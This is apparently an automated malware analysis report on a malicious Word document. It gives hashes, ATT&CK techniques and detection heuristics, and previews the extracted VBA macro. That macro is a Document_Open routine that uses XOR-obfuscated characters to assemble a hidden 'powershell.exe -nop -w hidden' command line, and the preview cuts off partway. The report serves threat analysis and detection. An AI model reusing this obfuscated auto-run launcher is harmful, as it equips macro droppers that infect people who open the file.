Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 2727bf97d7e2a5e7…

MALICIOUS

Office (OLE)

983.5 KB Created: 2018-01-07 02:20:00 Authoring application: Microsoft Office Word First seen: 2019-05-16
MD5: 68e89d88b7cca6f12707d5a463c9d1d8 SHA-1: 7aed1190356493472ffcf1eb2d7d61f1ea3e6809 SHA-256: 2727bf97d7e2a5e7e5e41ccbfd7237c59023d70914834400da1d762d96424fde
202 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious Office document containing VBA macros. The Document_Open macro is designed to execute a Shell() command, likely to download and execute a second-stage payload. The document body explicitly instructs the user to enable macros, a common social engineering tactic.

Heuristics 6

  • ClamAV: Doc.Dropper.Agent-6428237-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6428237-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 30197 bytes
SHA-256: 38529eafe4f9ef1a6610767c8574270d3bdba1aaeb8ae6e985a2ba7003262b1e
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Option Explicit

Sub Document_Open()
On Error Resume Next
Dim HJLSHSLFKTXBJMGWMHDFRHTQMXCKZPLICDCLKVLSTSFQPCNLXJ As String
HJLSHSLFKTXBJMGWMHDFRHTQMXCKZPLICDCLKVLSTSFQPCNLXJ = ""
HJLSHSLFKTXBJMGWMHDFRHTQMXCKZPLICDCLKVLSTSFQPCNLXJ = HJLSHSLFKTXBJMGWMHDFRHTQMXCKZPLICDCLKVLSTSFQPCNLXJ & Chr(126 Xor 14)
HJLSHSLFKTXBJMGWMHDFRHTQMXCKZPLICDCLKVLSTSFQPCNLXJ = HJLSHSLFKTXBJMGWMHDFRHTQMXCKZPLICDCLKVLSTSFQPCNLXJ & Chr(96 Xor 15)
HJLSHSLFKTXBJMGWMHDFRHTQMXCKZPLICDCLKVLSTSFQPCNLXJ = HJLSHSLFKTXBJMGWMHDFRHTQMXCKZPLICDCLKVLSTSFQPCNLXJ & Chr(101 Xor 18)
HJLSHSLFKTXBJMGWMHDFRHTQMXCKZPLICDCLKVLSTSFQPCNLXJ = HJLSHSLFKTXBJMGWMHDFRHTQMXCKZPLICDCLKVLSTSFQPCNLXJ & Chr(106 Xor 15)
HJLSHSLFKTXBJMGWMHDFRHTQMXCKZPLICDCLKVLSTSFQPCNLXJ = HJLSHSLFKTXBJMGWMHDFRHTQMXCKZPLICDCLKVLSTSFQPCNLXJ & Chr(123 Xor 9)
HJLSHSLFKTXBJMGWMHDFRHTQMXCKZPLICDCLKVLSTSFQPCNLXJ = HJLSHSLFKTXBJMGWMHDFRHTQMXCKZPLICDCLKVLSTSFQPCNLXJ & Chr(120 Xor 11)
HJLSHSLFKTXBJMGWMHDFRHTQMXCKZPLICDCLKVLSTSFQPCNLXJ = HJLSHSLFKTXBJMGWMHDFRHTQMXCKZPLICDCLKVLSTSFQPCNLXJ & Chr(120 Xor 16)
HJLSHSLFKTXBJMGWMHDFRHTQMXCKZPLICDCLKVLSTSFQPCNLXJ = HJLSHSLFKTXBJMGWMHDFRHTQMXCKZPLICDCLKVLSTSFQPCNLXJ & Chr(106 Xor 15)
HJLSHSLFKTXBJMGWMHDFRHTQMXCKZPLICDCLKVLSTSFQPCNLXJ = HJLSHSLFKTXBJMGWMHDFRHTQMXCKZPLICDCLKVLSTSFQPCNLXJ & Chr(106 Xor 6)
HJLSHSLFKTXBJMGWMHDFRHTQMXCKZPLICDCLKVLSTSFQPCNLXJ = HJLSHSLFKTXBJMGWMHDFRHTQMXCKZPLICDCLKVLSTSFQPCNLXJ & Chr(106 Xor 6)
HJLSHSLFKTXBJMGWMHDFRHTQMXCKZPLICDCLKVLSTSFQPCNLXJ = HJLSHSLFKTXBJMGWMHDFRHTQMXCKZPLICDCLKVLSTSFQPCNLXJ & Chr(61 Xor 19)
HJLSHSLFKTXBJMGWMHDFRHTQMXCKZPLICDCLKVLSTSFQPCNLXJ = HJLSHSLFKTXBJMGWMHDFRHTQMXCKZPLICDCLKVLSTSFQPCNLXJ & Chr(106 Xor 15)
HJLSHSLFKTXBJMGWMHDFRHTQMXCKZPLICDCLKVLSTSFQPCNLXJ = HJLSHSLFKTXBJMGWMHDFRHTQMXCKZPLICDCLKVLSTSFQPCNLXJ & Chr(119 Xor 15)
HJLSHSLFKTXBJMGWMHDFRHTQMXCKZPLICDCLKVLSTSFQPCNLXJ = HJLSHSLFKTXBJMGWMHDFRHTQMXCKZPLICDCLKVLSTSFQPCNLXJ & Chr(106 Xor 15)
HJLSHSLFKTXBJMGWMHDFRHTQMXCKZPLICDCLKVLSTSFQPCNLXJ = HJLSHSLFKTXBJMGWMHDFRHTQMXCKZPLICDCLKVLSTSFQPCNLXJ & " "
HJLSHSLFKTXBJMGWMHDFRHTQMXCKZPLICDCLKVLSTSFQPCNLXJ = HJLSHSLFKTXBJMGWMHDFRHTQMXCKZPLICDCLKVLSTSFQPCNLXJ & "-"
HJLSHSLFKTXBJMGWMHDFRHTQMXCKZPLICDCLKVLSTSFQPCNLXJ = HJLSHSLFKTXBJMGWMHDFRHTQMXCKZPLICDCLKVLSTSFQPCNLXJ & Chr(122 Xor 20)
HJLSHSLFKTXBJMGWMHDFRHTQMXCKZPLICDCLKVLSTSFQPCNLXJ = HJLSHSLFKTXBJMGWMHDFRHTQMXCKZPLICDCLKVLSTSFQPCNLXJ & Chr(96 Xor 15)
HJLSHSLFKTXBJMGWMHDFRHTQMXCKZPLICDCLKVLSTSFQPCNLXJ = HJLSHSLFKTXBJMGWMHDFRHTQMXCKZPLICDCLKVLSTSFQPCNLXJ & Chr(126 Xor 14)
HJLSHSLFKTXBJMGWMHDFRHTQMXCKZPLICDCLKVLSTSFQPCNLXJ = HJLSHSLFKTXBJMGWMHDFRHTQMXCKZPLICDCLKVLSTSFQPCNLXJ & " "
HJLSHSLFKTXBJMGWMHDFRHTQMXCKZPLICDCLKVLSTSFQPCNLXJ = HJLSHSLFKTXBJMGWMHDFRHTQMXCKZPLICDCLKVLSTSFQPCNLXJ & "-"
HJLSHSLFKTXBJMGWMHDFRHTQMXCKZPLICDCLKVLSTSFQPCNLXJ = HJLSHSLFKTXBJMGWMHDFRHTQMXCKZPLICDCLKVLSTSFQPCNLXJ & Chr(101 Xor 18)
HJLSHSLFKTXBJMGWMHDFRHTQMXCKZPLICDCLKVLSTSFQPCNLXJ = HJLSHSLFKTXBJMGWMHDFRHTQMXCKZPLICDCLKVLSTSFQPCNLXJ & " "
HJLSHSLFKTXBJMGWMHDFRHTQMXCKZPLICDCLKVLSTSFQPCNLXJ = HJLSHSLFKTXBJMGWMHDFRHTQMXCKZPLICDCLKVLSTSFQPCNLXJ & Chr(120 Xor 16)
HJLSHSLFKTXBJMGWMHDFRHTQMXCKZPLICDCLKVLSTSFQPCNLXJ = HJLSHSLFKTXBJMGWMHDFRHTQMXCKZPLICDCLKVLSTSFQPCNLXJ & Chr(99 Xor 10)
HJLSHSLFKTXBJMGWMHDFRHTQMXCKZPLICDCLKVLSTSFQPCNLXJ = HJLSHSLFKTXBJMGWMHDFRHTQMXCKZPLICDCLKVLSTSFQPCNLXJ & Chr(111 Xor 11)
HJLSHSLFKTXBJMGWMHDFRHTQMXCKZPLICDCLKVLSTSFQPCNLXJ = HJLSHSLFKTXBJMGWMHDFRHTQMXCKZPLICDCLKVLSTSFQPCNLXJ & Chr(111 Xor 11)
HJLSHSLFKTXBJMGWMHDFRHTQMXCKZPLICDCLKVLSTSFQPCNLXJ = HJLSHSLFKTXBJMGWMHDFRHTQMXCKZPLICDCLKVLSTSFQPCNLXJ & Chr(106 Xor 15)
HJLSHSLFKTXBJMGWMHDFRHTQMXCKZPLICDCLKVLSTSFQPCNLXJ = HJLSHSLFKTXBJMGWMHDFRHTQMXCKZPLICDCLKVLSTSFQPCNLXJ & Chr(122 Xor 20)
HJLSHSLFKTXBJMGWMHDFRHTQMXCKZPLICDCLKVLSTSFQPCNLXJ = HJLSHSLFKTXBJMGWMHDFRHTQMXCKZPLICDCLKVLSTSFQPCNLXJ & " "
HJLSHSLFKTXBJ
... (truncated)

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